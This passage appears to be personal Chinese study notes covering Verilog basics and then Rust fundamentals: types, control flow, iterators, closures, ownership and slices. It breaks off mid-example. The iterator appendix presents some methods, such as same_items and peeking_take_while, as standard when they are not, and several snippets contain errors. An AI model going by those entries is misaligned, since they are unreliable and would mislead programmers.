因连续赋值语句和过程赋值语句的激活特点不同,故赋值目标特点也不同,前者不需要保存,后者需要保存,因此规定两种数据类型,net型用于连续赋值的赋值目标或门原语的输出,且仿真时不需要分配内存空间,variable用于过程赋值的赋值目标,且仿真时需要分配内存空间.
- net 类中的数据类型(常用wire)
| wire(线型) | tri(三态) | tri0(下拉电阻) | supply0(地) |
|---|---|---|---|
| wand(线与) | triand(三态与) | tri1(上拉电阻) | supply1(电源) |
| wor(线或) | trior(三态或) | trireg(电容性线网) |
- Variable类中的数据类型(常用reg)
| reg(寄存器型) | |
|---|---|
| integer(整型) | time(时间型) |
| real(实型) | realtime(实时间型) |
Info
将一个信号定义成net型还是varible型,由以下两方面决定
a.使用何种赋值语句对该信号进行赋值,如果是连续赋值或门原语赋值或例化语句赋值,则定义成net型;如果是过程赋值则定义成variable型.
b.对于端口信号来说,input信号和inout信号必须定义成net型的;output信号可以是net型的也可以是variable型的,决定于如何对其赋值(同a).

Example

该图中d和e的赋值有三种方法
-
使用连续赋值语句
此时,d和e必须定义为net类的 -
使用门原语赋值
此时,d和e也必须是net类的 -
使用过程赋值语句
此时d和e必须是reg类型的.
我们也可以在这里回忆一下,这里d先改变了,e会受到d的影响,所以需要使用阻塞赋值.
Verilog中数字的表示格式以及逻辑值¶
- 无符号数的表示方法:
位宽+'+进制+数字(5'd8,五位十进制8,也就是\((01000)_2\)) - 有符号数的表示方法:
位宽+'+sb+数字(8'sb10111011,第一位是符号位,是\(-(01000101)_2=-69_{10}\)) - Verilog语言中的逻辑值有四种:
- 1:逻辑1,高电平,数字1
- 0:逻辑0,低电平,数字0
- x:不确定
- z:高阻态
if语句¶
Verilog中有四种类型的if语句,大致也跟C语言类似
if(<条件表达式>)语句;if(<条件表达式>)真语句;else 假语句;verilog if (<条件表达式1>)语句1; else if (<条件表达式2>)语句2 ; else if (<条件表达式3>)语句3 ;-
Verilog if (<条件表达式1>)语句1 ; else if (<条件表达式2>)语句2 ; else if (<条件表达式3>)语句3 ; else 默认语句 ; -
多条语句时使用
beginend
Danger
在用if语句设计“组合电路”时要注意,如果条件不完整,会综合出寄存器。
使条件完整的两种方法:
- 加else
- 设初值

Verilog
always @(a,b)
Q=a;
if (sel) Q=b;
- 条件表达式格式:(计算表达式),计算表达式可以是任意形式的表达式;条件表达式的结果只有0和1两种,如果计算表达式的值为0,则条件表达式的值为0,否则为1。
例如,设a=1000,b=0110
| 条件表达式 | 计算表达式 | 结果 |
|---|---|---|
| if (a==b) | 0 | 0 |
| if (a>b) | 1 | 1 |
| if (a) | 1000 | 1 |
| if (a*b) | 11_0000(前两位被截掉) | 0 |
| if (a | b) | 1110 |
| if (a&b) | 0000 | 0 |
Case 语句¶
功能类似于C语言中的switch case语句
格式:
default语句可加可不加,但是要注意条件的完整性
Verilog的语言描述风格¶
- 结构化描述(也称门级描述,全部使用门原语和底层模块调用)
- 数据流级描述(全部用
assign语句) - 行为级描述(全部用
always语句配合if``case语句等) - RTL级描述方式(数据流级+行为级,可综合)
- 实际描述是三种混合的
Example
门级描述
module mux4_to_1 (out, i0, i1, i2, i3, s1, s0);
output out;
input i0, i1, i2, i3;
input s1, s0;
wire s1n, s0n;
wire y0, y1, y2, y3;
not (s1n, s1);
not (s0n, s0);
and (y0, i0, s1n, s0n);
and (y1, i1, s1n, s0);
and (y2, i2, s1, s0n);
and (y3, i3, s1, s0);
or (out, y0, y1, y2, y3);
endmodule
数据流级描述
module mux4_to_1 (out, i0, i1, i2, i3, s1, s0);
output out,
input i0, i1, i2, i3;
input s1, s0;
assign out = (~s1 & ~s0 & i0)|(~s1 & s0 & i1) |(s1 & ~s0 & i2) |(s1 & s0 & i3) ;
endmodule
行为级描述
其他规定¶
-
关键字:关键字即Verilog语言中预定义的有特殊含义的英文词语
-
标识符:标识符即用户自定义的信号名、模块名等等; 注意关键字不能作标识符; Verilog区别大小写(关键字都是小写)
-
Verilog文件扩展名为.v;verilog不要求文件名和模块名一致
-
注释:和C语言一样,//单行注释,/**/多行注释
RUST基础语法¶
约 14958 个字 1057 行代码 1 张图片 预计阅读时间 65 分钟
据说这门语言很
前置¶
Rust语言的特点
-
高性能: Rust 速度惊人且内存利用率极高。由于没有运行时和垃圾回收,它能够胜任对性能要求特别高的服务,可以在嵌入式设备上运行,还能轻松和其他语言集成。
-
可靠性: Rust 丰富的类型系统和所有权模型保证了内存安全和线程安全,让您在编译期就能够消除各种各样的错误。
-
生产力 Rust 拥有出色的文档、友好的编译器和清晰的错误提示信息, 还集成了一流的工具 —— 包管理器和构建工具, 智能地自动补全和类型检验的多编辑器支持, 以及自动格式化代码等等。
Rust的应用
Rust 语言可以用于开发:
- 传统命令行程序 Rust 编译器可以直接生成目标可执行程序,不需要任何解释程序。
- Web 应用 Rust 可以被编译成 WebAssembly,WebAssembly 是一种 JavaScript 的高效替代品。
-
网络服务器 Rust 用极低的资源消耗做到安全高效,且具备很强的大规模并发处理能力,十分适合开发普通或极端的服务器程序。
-
嵌入式设备 Rust 同时具有JavaScript 一般的高效开发语法和 C 语言的执行效率,支持底层平台的开发。
RUST文件的后缀名为.rs,通过运行rustc xxx.rs可以直接生成可执行文件
rust语言的注释方式跟C语言一样,支持两种注释方法,//单行注释和/**/多行注释
但是需要注意的是,在这种情况下/// 仍然是一种合法的注释方式,所以可以用这种特殊的方式来当作文档的说明
变量¶
声明变量¶
Rust是强类型语言,具有自动判断变量类型的能力。
如果要声明变量需要使用let关键字
例如:
在变量a被声明之后,a就被确定为整形 不可变变量
也就是说:
- 不可以将其它类型的变量赋给它
- 不允许将小数赋给它,因为自动转换数字精度有损失,Rust 语言不允许精度有损失的自动数据类型转换。
- 不允许对它重新赋其他值
如果想要a可以被重新赋值,只需要在a前面加一个mut(mutable),这样a就变成了可变的变量
例如:
常量与不可变变量的区别
不可变变量仍然是变量,也就是说可以对它**重新定义**,例如:
但是如果是常量,就不允许对它进行任何改变的操作 这种不可变变量的名称可以被重新绑定的机制叫做**重影(shadowing)** 程序运行结果数据类型¶
整数类型
整数型简称整型,按照比特位长度和有无符号分为以下种类:
| 位长度 | 有符号 | 无符号 |
|---|---|---|
| 8-bit | i8 | u8 |
| 16-bit | i16 | u16 |
| 32-bit | i32 | u32 |
| 64-bit | i64 | u64 |
| 128-bit | i128 | u128 |
| arch | isize | usize |
isize 和 usize 两种整数类型是用来衡量数据大小的,它们的位长度取决于所运行的目标平台,如果是 32 位架构的处理器将使用 32 位位长度整型
rust中可以用不同的方式表示整数
| 进制 | 例 |
|---|---|
| 十进制 | 98_222 |
| 十六进制 | 0xff |
| 八进制 | 0o77 |
| 二进制 | 0b1111_0000 |
| 字节(只能表示 u8 型) | b'A' |
Example
虽然 Rust 有自动判断类型的功能,但有些情况下声明类型更加方便:
这里声明了a 为无符号 64 位整型变量,如果没有声明类型,a 将自动被判断为有符号 32 位整型变量,这对于 a 的取值范围有很大的影响。
浮点数型(Floating-Point)
Rust 与其它语言一样支持 32 位浮点数(f32)和 64 位浮点数(f64)。默认情况下,64.0 将表示 64 位浮点数,因为现代计算机处理器对两种浮点数计算的速度几乎相同,但 64 位浮点数精度更高。
实例
rust 同时也支持基本的数学运算,但是不支持C语言里面有的++和--,因为这两个运算符出现在变量的前后会影响代码可读性,减弱了开发者对变量改变的意识能力。
基本的四则运算有+(加),-(减),*(乘),/(除),%(mod)
bool类型
bool值只能为true或者false
字符型
字符型用 char 表示。 Rust的 char 类型大小为 4 个字节,代表 Unicode标量值,这意味着它可以支持中文,日文和韩文字符等非英文字符甚至表情符号和零宽度空格在 Rust 中都是有效的 char 值。 Unicode 值的范围从 U+0000 到 U+D7FF 和 U+E000 到 U+10FFFF (包括两端)。 但是,"字符"这个概念并不存在于 Unicode 中,因此您对"字符"是什么的直觉可能与Rust中的字符概念不匹配。所以一般推荐使用字符串储存 UTF-8 文字(非英文字符尽可能地出现在字符串中)。
注意:由于中文文字编码有两种(GBK 和 UTF-8),所以编程中使用中文字符串有可能导致乱码的出现,这是因为源程序与命令行的文字编码不一致,所以在 Rust 中字符串和字符都必须使用 UTF-8 编码,否则编译器会报错。
复合类型
跟python类似,rust中有
-
元组
(),可以包含不同的数据类型 -
数组
[],同类型数据let a = [1, 2, 3, 4, 5]; // a 是一个长度为 5 的整型数组 let b = ["January", "February", "March"]; // b 是一个长度为 3 的字符串数组 let c: [i32; 5] = [1, 2, 3, 4, 5]; // c 是一个长度为 5 的 i32 数组 let d = [3; 5]; // 等同于 let d = [3, 3, 3, 3, 3]; let first = a[0]; let second = a[1]; // 数组访问 a[0] = 123; // 错误:数组 a 不可变 let mut a = [1, 2, 3]; a[0] = 4; // 正确
函数¶
基本结构¶
rust函数的结构和C语言类似,其基本结构为
用到的函数需要在main函数里面调用,但是并不需要在调用之前出现
Example
函数参数¶
Rust 中定义函数如果需要具备参数必须声明参数名称和类型:
Example
运行结果函数体的语句和表达式¶
Rust 函数体由一系列可以 以表达式(Expression)结尾 (在这里断句) 的语句(Statement)组成。
语句是执行某些操作且没有返回值的步骤。例如:
表达式有计算步骤且有返回值在Rust 中可以在一个用 {}包括的块里编写一个较为复杂的表达式:
fn main() {
let x = 5;
let y = {
let x = 3;
x + 1//可以理解为局部变量
};//和y=连在一起是一条语句
println!("x 的值为 : {}", x);
println!("y 的值为 : {}", y);
}
这段程序中包括了一个表达式块,在块中可以使用函数语句,最后一个步骤是表达式,此表达式的结果值是整个表达式块所代表的值。这种表达式块叫做函数体表达式。
Danger
x + 1 之后没有分号,否则它将变成一条语句!
返回值¶
不同于C语言,RUST函数既可以嵌套使用也可以嵌套定义
fn main() {
fn five() -> i32 {
5//表达式,不能加分号
}//用{}来创建一个作用域,不用分号
println!("five() 的值为: {}", five());
}
上面的例子中,在main函数里面定义了一个five(),返回类型使用->在参数声明之后指明,不是:,在函数体中,随时都可以以 return 关键字结束函数运行并返回一个类型合适的值。这也是最接近大多数开发者经验的做法:
Danger
注意:函数体表达式并不能等同于函数体,它不能使用 return 关键字。
条件语句¶
RUST中的条件语句与C语言类似 例如
let num=3
if num<5
{
println!("less than five")
}
else if num==5{
println!("equal to five")
}
else {
println!("bigger than five")
}
- 条件表达式不需要用
()括起来,注意是不需要而不是不允许 - RUST中的
if语句不存在单句不用{}的规则,一个块还是需要括起来的 - RUST中的条件表达式必须是bool类型的,不允许像C中允许的非零即可判断为真,例如下面的程序是非法的
Note
这种结构下的block也可以是函数体表达式 用法例如 这样就实现了三元运算表达式A?B:C的效果
循环¶
while循环¶
例如
for循环¶
跟C语言的for循环相比,rust语言的for循环更加类似于python
fn main() {
let a = [10, 20, 30, 40, 50];
for i in a.iter() { //a.iter() 代表 a 的迭代器(iterator)
println!("值为 : {}", i);
}
}
fn main() {
let a = [10, 20, 30, 40, 50];
for i in 0..5 { //0..5的用法相当于range(0,5)
println!("a[{}] = {}", i, a[i]);
}
}
loop循环¶
rust比较有特点,当我们想使用无限循环的时候,不必while true{}而本身就内置有loop结构无限循环
fn main() {
let s = ['R', 'U', 'N', 'O', 'O', 'B'];
let mut i = 0;
loop {
let ch = s[i];
if ch == 'O' {
break ;
}
println!("\'{}\'", ch);
i += 1;
}
}
loop循环的break也可以通过携带关键字来向外部返回一个值,作用类似于return
fn main() {
let s = ['R', 'U', 'N', 'O', 'O', 'B'];
let mut i = 0;
let location = loop {
let ch = s[i];
if ch == 'O' {
break i;
}
i += 1;
};
println!(" \'O\' 的索引为 {}", location);
}
迭代器¶
Rust 中的迭代器是一种方便、高效的数据遍历方法,它提供了一种抽象的方式来访问集合中的每个元素,而不需要显式地管理索引或循环。
迭代器允许你以一种声明式的方式来遍历序列,如数组、切片、链表等集合类型的元素。
迭代器背后的核心思想是将数据处理过程与数据本身分离,使代码更清晰、更易读、更易维护。
迭代器遵循以下原则:
-
惰性求值:迭代器不会立即计算其元素,而是在需要时才计算,这使得迭代器可以用于处理无限序列。例如,当调用
map()或filter()方法时,并不会立即对集合进行转换或过滤,而是返回一个新的迭代器,只有当真正需要获取数据时,才会对数据进行转换或过滤。 -
消费性:在迭代器完成迭代后,它所迭代的集合将被消费,即集合的所有权被转移给迭代器,集合不能再被使用。
-
不可变访问:迭代器默认以不可变方式访问其元素,这意味着在迭代过程中不能修改元素。
-
所有权:迭代器可以处理拥有或借用的元素。当迭代器借用元素时,它不会取得元素的所有权。例如,
iter()方法返回的是一个借用迭代器,而into_iter()方法返回的是一个获取所有权的迭代器。
创建迭代器¶
- 使用
iter()方法创建借用迭代器
代码解释
let vec:
let 关键字用于声明变量,vec 是变量的名称。在这个例子中,vec 将被绑定到一个 Vec<i32> 对象上。
vec![] 宏:
vec![] 是一个宏,用于创建一个新的 Vec(动态数组)。Vec 是 Rust 标准库提供的一个通用集合类型,可以在运行时动态增长。
通过 vec![] 宏,可以直接创建一个包含初始元素的向量。
[1, 2, 3, 4, 5]:
方括号内的数字 1, 2, 3, 4, 5 是 Vec 的初始元素。
在这个例子中,vec! 宏创建了一个 Vec<i32> 类型的向量,其中包含了这五个整数。
-
使用
iter_mut()方法创建可变借用迭代器 -
使用
into_iter()方法创建获取所有权的迭代器:
迭代器方法¶
-
首先定义了一个包含整数的数组,然后使用map()对每个元素应用特定的转换函数iter()方法获取数组的迭代器,接着使用迭代器的map()方法对数组中的每个元素进行平方运算,并使用collect()方法将结果收集到一个新的数组squared_vec中。最后输出了平方后的数组。 -
原理类似filter()根据特定的条件过滤集合中的元素 -
fold():对集合中的元素进行累积处理。 skip():跳过指定数量的元素。take():获取指定数量的元素。enumerate():为每个元素提供索引。感觉记不住,反正先记着,具体用到的时候再搜就行了
for循环遍历迭代器¶
Rust 提供了 for 循环语法来遍历迭代器中的元素,是一种更加简洁和直观的遍历方式。
Rust 的 for 循环底层实际上是使用迭代器的。
消费迭代器¶
使用迭代器直到它被完全消耗
let arr = vec![1, 2, 3];
let mut iter = arr.into_iter();
while let Some(val) = iter.next() {
println!("{}", val);
}
适配器¶
迭代器适配器是一系列提供给迭代器的函数,它们可以修改迭代器的行为。例如 map, filter, take 等。
let arr = [1, 2, 3, 4, 5];
let even_numbers: Vec<_> = arr.into_iter().filter(|&x| x % 2 == 0).collect();
迭代器链¶
可以将多个迭代器适配器链接在一起,形成迭代器链。
use std::iter::Peekable;
let arr = [1, 2, 3, 4, 5];
let mut iter = arr.into_iter().peekable();
while let Some(val) = iter.next() {
if val % 2 == 0 {
continue;
}
println!("{}", val);
}
收集器¶
可以使用collect方法将迭代器的元素收集到某种集合中
其他¶
迭代器的生命周期与它所迭代的元素的生命周期相关联。迭代器可以借用元素,也可以取得元素的所有权。这在迭代器的实现中通过生命周期参数来控制。
迭代器与闭包 迭代器适配器经常与闭包一起使用,闭包允许你为迭代器操作提供定制逻辑。
迭代器和性能
迭代器通常是非常高效的,因为它们允许编译器做出优化。例如,编译器可以内联迭代器适配器的调用,并且可以利用迭代器的惰性求值特性。、
附录:迭代器方法¶
| 方法名 | 描述 | 示例 |
|---|---|---|
next() |
返回迭代器中的下一个元素。 | let mut iter = (1..5).into_iter(); while let Some(val) = iter.next() { println!("{}", val); } |
size_hint() |
返回迭代器中剩余元素数量的下界和上界。 | let iter = (1..10).into_iter(); println!("{:?}", iter.size_hint()); |
count() |
计算迭代器中元素的数量。 | let count = (1..10).into_iter().count(); |
nth() |
返回迭代器中的第 n 个元素。 | let third = (0..10).into_iter().nth(2); |
last() |
返回迭代器中的最后一个元素。 | let last = (1..5).into_iter().last(); |
all() |
如果迭代器中的所有元素都满足某个条件,返回 true。 |
let all_positive = (1..5).into_iter().all(|x| x > 0); |
any() |
如果迭代器中的至少一个元素满足某个条件,返回 true。 |
let any_negative = (1..5).into_iter().any(|x| x < 0); |
find() |
返回迭代器中第一个满足某条件的元素。 | let first_even = (1..10).into_iter().find(|x| x % 2 == 0); |
find_map() |
对迭代器的元素应用一个函数,返回第一个返回 Some 的结果。 |
let first_letter = "hello".chars().find_map(|c| if c.is_alphabetic() { Some(c) } else { None }); |
map() |
对迭代器中的每个元素应用一个函数。 | let squares: Vec<i32> = (1..5).into_iter().map(|x| x * x).collect(); |
filter() |
保留迭代器中满足某个条件的元素。 | let evens: Vec<i32> = (1..10).into_iter().filter(|x| x % 2 == 0).collect(); |
filter_map() |
对迭代器中的元素应用一个函数,如果该函数返回 Some,则保留结果。 |
let chars: Vec<char> = "hello".chars().filter_map(|c| if c.is_alphabetic() { Some(c.to_ascii_uppercase()) } else { None }).collect(); |
map_while() |
对迭代器中的元素应用一个函数,直到函数返回 None。 |
let first_three = (1..).into_iter().map_while(|x| if x <= 3 { Some(x) } else { None }); |
take_while() |
从迭代器中取出满足某个条件的元素,直到不满足为止。 | let first_five = (1..10).into_iter().take_while(|x| x <= 5).collect::<Vec<_>>(); |
skip_while() |
跳过迭代器中满足某个条件的元素,直到不满足为止。 | let odds: Vec<i32> = (1..10).into_iter().skip_while(|x| x % 2 == 0).collect(); |
for_each() |
对迭代器中的每个元素执行某种操作。 | let mut counter = 0; (1..5).into_iter().for_each(|x| counter += x); |
fold() |
对迭代器中的元素进行折叠,使用一个累加器。 | let sum: i32 = (1..5).into_iter().fold(0, |acc, x| acc + x); |
try_fold() |
对迭代器中的元素进行折叠,可能在遇到错误时提前返回。 | let result: Result<i32, &str> = (1..5).into_iter().try_fold(0, |acc, x| if x == 3 { Err("Found the number 3") } else { Ok(acc + x) }); |
scan() |
对迭代器中的元素进行状态化的折叠。 | let sum: Vec<i32> = (1..5).into_iter().scan(0, |acc, x| { *acc += x; Some(*acc) }).collect(); |
take() |
从迭代器中取出最多 n 个元素。 | let first_five = (1..10).into_iter().take(5).collect::<Vec<_>>(); |
skip() |
跳过迭代器中的前 n 个元素。 | let after_five = (1..10).into_iter().skip(5).collect::<Vec<_>>(); |
zip() |
将两个迭代器中的元素打包成元组。 | let zipped = (1..3).zip(&['a', 'b', 'c']).collect::<Vec<_>>(); |
cycle() |
重复迭代器中的元素,直至停止。 | let repeated = (1..3).into_iter().cycle().take(7).collect::<Vec<_>>(); |
chain() |
连接多个迭代器。 | let combined = (1..3).chain(4..6).collect::<Vec<_>>(); |
rev() |
反转迭代器中的元素顺序。 | let reversed = (1..4).into_iter().rev().collect::<Vec<_>>(); |
enumerate() |
为迭代器中的每个元素添加索引。 | let enumerated = (1..4).into_iter().enumerate().collect::<Vec<_>>(); |
peeking_take_while() |
取出满足条件的元素,同时保留迭代器的状态,可以继续取出后续元素。 | let (first, rest) = (1..10).into_iter().peeking_take_while(|&x| x < 5); |
step_by() |
按照指定的步长返回迭代器中的元素。 | let even_numbers = (0..10).into_iter().step_by(2).collect::<Vec<_>>(); |
fuse() |
创建一个额外的迭代器,它在迭代结束后仍然可以调用 next() 方法。 |
let mut iter = (1..5).into_iter().fuse(); while iter.next().is_some() {} |
inspect() |
在取出每个元素时执行一个闭包,但不改变元素。 | let mut counter = 0; (1..5).into_iter().inspect(|x| println!("Inspecting: {}", x)).for_each(|x| println!("Processing: {}", x)); |
same_items() |
比较两个迭代器是否产生相同的元素序列。 | let equal = (1..5).into_iter().same_items((1..5).into_iter()); |
闭包¶
Rust 中的闭包是一种匿名函数,它们可以捕获并存储其环境中的变量。
闭包允许在其定义的作用域之外访问变量,并且可以在需要时将其移动或借用给闭包。
闭包在 Rust 中被广泛应用于函数式编程、并发编程和事件驱动编程等领域。
闭包在 Rust 中非常有用,因为它们提供了一种简洁的方式来编写和使用函数。
以下是 Rust 闭包的一些关键特性和用法:
闭包的声明¶
闭包的语法声明
其中参数可以有类型注解,也可以省略,RUST编译器会根据上下文推断它们
闭包可以有0个或者多个参数,并且可以返回一个值,可以像函数一样被调用 闭包有点像python中的lambda语句,闭包在 Rust 中类似于匿名函数,可以在代码中以 {} 语法块的形式定义,使用 || 符号来表示参数列表
捕获外部变量¶
闭包可以捕获周围环境中的变量,这意味着它可以访问定义闭包时所在作用域中的变量。
移动与借用
闭包可以通过 move 关键字获取外部变量的所有权,或者通过借用的方式获取外部变量的引用。例如:
let x = 10;
let add_x = |y| x + y;
println!("{}", add_x(5)); // 输出 15
println!("{}", x); // 仍然可以使用 x
move 关键字,闭包会获取它捕获的环境变量的所有权。这意味着这些变量的所有权会从外部作用域转移到闭包内部,外部作用域将无法再使用这些变量。例如:
let s = String::from("hello");
let print_s = move || println!("{}", s);
print_s(); // 输出 "hello"
// println!("{}", s); // 这行代码将会报错,因为 s 的所有权已经被转移给了闭包
String::from("hello"): 这是一个调用 String 类型的关联函数 from,用于将一个字面量字符串("hello")转换为一个 String 类型。
String 类型:
在 Rust 中,字符串有两种主要的表示形式:&str 和 String。
&str 是一种切片,通常表示在编译时已知长度的不可变字符串。
String 是一种堆分配的可变字符串,适用于在运行时可能需要修改或扩展的字符串。
String::from:
String::from 是 String 类型的一个关联函数,它用于从 &str 类型创建一个 String 类型的值。
在这个例子中,String::from("hello")创建了一个新的 String,其中包含了字符串 "hello" 的内容。
分配和所有权:
String::from("hello") 创建的 String 对象在堆上分配了内存,并且拥有该内存的所有权。
变量 s 获得了这个 String 的所有权,这意味着当 s 作用域结束时,Rust 会自动释放 s 所占用的内存。
迭代器中的闭包¶
闭包在rust中经常与迭代器一起使用,用于对集合中的元素进行处理
例如之前提过的map方法
let vec = vec![1, 2, 3];
let squared_vec: Vec<i32> = vec.iter().map(|x| x * x).collect();
println!("{:?}", squared_vec); // 输出: [1, 4, 9]
在这个例子中,闭包|x| x*x被传递给map()对集合中的每一个元素进行平方操作
闭包作为参数和返回值
闭包可以作为参数传递给函数,也可以作为函数的返回值。
// 定义一个函数,接受一个闭包作为参数,将闭包应用到给定的数字上
fn apply_operation<F>(num: i32, operation: F) -> i32
where
F: Fn(i32) -> i32,
{
operation(num)
}
// 主函数
fn main() {
// 定义一个数字
let num = 5;
// 定义一个闭包,用于对数字进行平方运算
let square = |x| x * x;
// 调用函数,并传入闭包作为参数,对数字进行平方运算
let result = apply_operation(num, square);
// 输出结果
println!("Square of {} is {}", num, result);
}
Info
apply_operation 函数
fn apply_operation<F>(num: i32, operation: F) -> i32:
这是一个函数定义。
apply_operation函数接受两个参数并返回一个i32类型的值。num: i32: 第一个参数num是一个i32类型的整数。operation: F: 第二个参数operation是一个泛型F,它代表一个闭包(或函数)。-> i32: 函数返回一个i32类型的值。
where F: Fn(i32) -> i32:
这是一个约束,规定了泛型 F必须实现 Fn(i32) -> i32 这个特性。换句话说,F 必须是一个接受一个 i32 参数并返回一个 i32 值的闭包或函数。
operation(num):
这行代码调用了传入的闭包 operation,并将 num 作为参数传递给它。闭包的执行结果将作为 apply_operation 函数的返回值。
let result = apply_operation(num, square);:
这行代码调用 apply_operation 函数,将 num 和 square 闭包作为参数传入。
apply_operation 函数执行 square(num),即计算 5 的平方,并将结果返回给 result 变量。
最后程序会输出Square of 5 is 25
RUST所有权¶
Abstract
计算机程序必须在运行时管理它们所使用的内存资源。
大多数的编程语言都有管理内存的功能:
C/C++ 这样的语言主要通过手动方式管理内存,开发者需要手动的申请和释放内存资源。但为了提高开发效率,只要不影响程序功能的实现,许多开发者没有及时释放内存的习惯。所以手动管理内存的方式常常造成资源浪费。
Java 语言编写的程序在虚拟机(JVM)中运行,JVM 具备自动回收内存资源的功能。但这种方式常常会降低运行时效率,所以 JVM 会尽可能少的回收资源,这样也会使程序占用较大的内存资源。
所有权对大多数开发者而言是一个新颖的概念,它是 Rust 语言为高效使用内存而设计的语法机制。所有权概念是为了让 Rust 在编译阶段更有效地分析内存资源的有用性以实现内存管理而诞生的概念。
所有权规则
- Rust 中的每个值都有一个变量,称为其所有者。
- 一次只能有一个所有者。
- 当所有者不在程序运行范围时,该值将被删除。
变量范围
变量范围是变量的一个属性,其代表变量的可行域,默认从声明变量开始有效直到变量所在域结束。
内存和分配¶
如果我们定义了一个变量并给它赋予一个值,这个变量的值存在于内存中。这种情况很普遍。但如果我们需要储存的数据长度不确定(比如用户输入的一串字符串),我们就无法在定义时明确数据长度,也就无法在编译阶段令程序分配固定长度的内存空间供数据储存使用。(有人说分配尽可能大的空间可以解决问题,但这个方法很不文明)。这就需要提供一种在程序运行时程序自己申请使用内存的机制————堆。
有分配就有释放,程序不能一直占用某个内存资源。因此决定资源是否浪费的关键因素就是资源有没有及时的释放。
例如在C语言中
很显然,Rust 中没有调用 free 函数来释放字符串 s 的资源(我们知道这样在 C 语言中是不正确的写法,因为 "abcd" 不在堆中,这里假设它在)。Rust 之所以没有明示释放的步骤是因为在变量范围结束的时候,Rust 编译器自动添加了调用释放资源函数的步骤。
这种机制看似很简单了:它不过是帮助程序员在适当的地方添加了一个释放资源的函数调用而已。但这种简单的机制可以有效地解决一个史上最令程序员头疼的编程问题。
变量与数据交互的方式¶
变量与数据交互的方式有两种:移动(move)和克隆(clone)两种
移动:
多个变量可以在rust中以不同的方式与相同的数据交互
这个程序将值 5 绑定到变量 x,然后将 x 的值复制并赋值给变量 y。现在栈中将有两个值 5。此情况中的数据是"基本数据"类型的数据,不需要存储到堆中,仅在栈中的数据的"移动"方式是直接复制,这不会花费更长的时间或更多的存储空间。"基本数据"类型有这些:- 所有整数类型,例如 i32 、 u32 、 i64 等。
- 布尔类型 bool,值为 true 或 false 。
- 所有浮点类型,f32 和 f64。
- 字符类型 char。
- 仅包含以上类型数据的元组(Tuples)
但如果发生交互的数据在堆中就是另外一种情况
第一步产生一个 String 对象,值为 "hello"。其中 "hello" 可以认为是类似于长度不确定的数据,需要在堆中存储。
第二步:两个 String 对象在栈中,每个 String 对象都有一个指针指向堆中的 "hello" 字符串。在给 s2 赋值时,只有栈中的数据被复制了,堆中的字符串依然还是原来的字符串。
前面我们说过,当变量超出范围时,Rust 自动调用释放资源函数并清理该变量的堆内存。但是 s1 和 s2 都被释放的话堆区中的 "hello" 被释放两次,这是不被系统允许的。为了确保安全,在给 s2 赋值时 s1 已经无效了。没错,在把 s1 的值赋给 s2 以后 s1 将不可以再被使用。
这段程序是错的,在给s2赋值之后,s1已经名存实亡了
克隆
Rust会尽可能地降低程序的运行成本,所以默认情况下,长度较大的数据存放在堆中,且采用移动的方式进行数据交互。但如果需要将数据单纯的复制一份以供他用,可以使用数据的第二种交互方式——克隆。
实例
fn main() {
let s1 = String::from("hello");
let s2 = s1.clone();
println!("s1 = {}, s2 = {}", s1, s2);
}
当然,克隆仅在需要复制的情况下使用,毕竟复制数据会花费更多的时间。
涉及函数的所有权机制¶
对于变量来说这是最复杂的情况了
如果将一个变量当作函数的参数传递给其他函数,怎么样安全的处理所有权呢?
实例
fn main() {
let s = String::from("hello");
// s 被声明有效
takes_ownership(s);
// s 的值被当作参数传入函数
// 所以可以当作 s 已经被移动,从这里开始已经无效
let x = 5;
// x 被声明有效
makes_copy(x);
// x 的值被当作参数传入函数
// 但 x 是基本类型,依然有效
// 在这里依然可以使用 x 却不能使用 s
} // 函数结束, x 无效, 然后是 s. 但 s 已被移动, 所以不用被释放
fn takes_ownership(some_string: String) {
// 一个 String 参数 some_string 传入,有效
println!("{}", some_string);
} // 函数结束, 参数 some_string 在这里释放
fn makes_copy(some_integer: i32) {
// 一个 i32 参数 some_integer 传入,有效
println!("{}", some_integer);
} // 函数结束, 参数 some_integer 是基本类型, 无需释放
引用与租借¶
引用类似于C语言中的指针,实质上是变量的间接访问方式
例如
fn main() {
let s1 = String::from("hello");
let s2 = &s1;//& 运算符可以取变量的"引用"。
println!("s1 is {}, s2 is {}", s1, s2);
}
运行结果
s1 is hello, s2 is hello
这样就保留了s1的所有权
Note
当一个变量的值被引用时,变量本身不会被认定无效。因为"引用"并没有在栈中复制变量的值,而是类似于s2多了一个指向s1的指针
通过借用,可以避免函数丢失所有权
运行结果Warning
引用不会获得值的所有权。
引用只能租借(Borrow)值的所有权。
引用本身也是一个类型并具有一个值,这个值记录的是别的值所在的位置,但引用不具有所指值的所有权:
这段程序不正确:因为s2 租借的 s1 已经将所有权移动到 s3,所以 s2 将无法继续租借使用 s1 的所有权。如果需要使用 s2 使用该值,必须重新租借.
既然引用不具有所有权,即使它租借了所有权,它也只享有使用权(这跟租房子是一个道理)。 如果尝试利用租借来的权利来修改数据会被阻止:
fn main() {
let s1 = String::from("run");
let s2 = &s1;
println!("{}", s2);
s2.push_str("oob"); // 错误,禁止修改租借的值
println!("{}", s2);
}
当然,也存在一种可变的租借方式,就像你租一个房子,如果物业规定房主可以修改房子结构,房主在租借时也在合同中声明赋予你这种权利,你是可以重新装修房子的:
fn main() {
let mut s1 = String::from("run");
// s1 是可变的
let s2 = &mut s1;
// s2 是可变的引用
s2.push_str("oob");
println!("{}", s2);
}
&mut 修饰可变的引用类型。
可变引用与不可变引用相比除了权限不同以外,可变引用不允许多重引用,但不可变引用可以:
这也很好理解,万一r1 r2并发改变了s,如何处理会是一个棘手的问题,rust在编译阶段就避免了这种情况的发生
垂悬引用¶
类似于C语言中那种那种没有实际指向一个真正能访问的数据的指针(不一定是空指针,也有可能是已经释放的资源),它们就像失去悬挂物体的绳子,所以叫"垂悬引用"
然而这种引用在rust中并不允许出现,编译器会发现这种引用并加以阻止
rust
fn main() {
let reference_to_nothing = dangle();
}
fn dangle() -> &String {
let s = String::from("hello");
&s
}
很显然,伴随着 dangle 函数的结束,其局部变量的值本身没有被当作返回值,被释放了。但它的引用却被返回,这个引用所指向的值已经不能确定的存在,故不允许其出现。
切片类型¶
切片(Slice)是对数据值的部分引用。
切片这个名字往往出现在生物课上,我们做样本玻片的时候要从生物体上获取切片,以供在显微镜上观察。在 Rust 中,切片的意思大致也是这样,只不过它从数据取材引用。
rust中的切片与python中的数组切片也是类似的
最简单、最常用的数据切片类型是字符串切片(String Slice),其他类型如数组切片也是允许的
fn main() {
let s = String::from("broadcast");
let part1 = &s[0..5];
let part2 = &s[5..9];
println!("{}={}+{}", s, part1, part2);
let arr = [1, 3, 5, 7, 9];
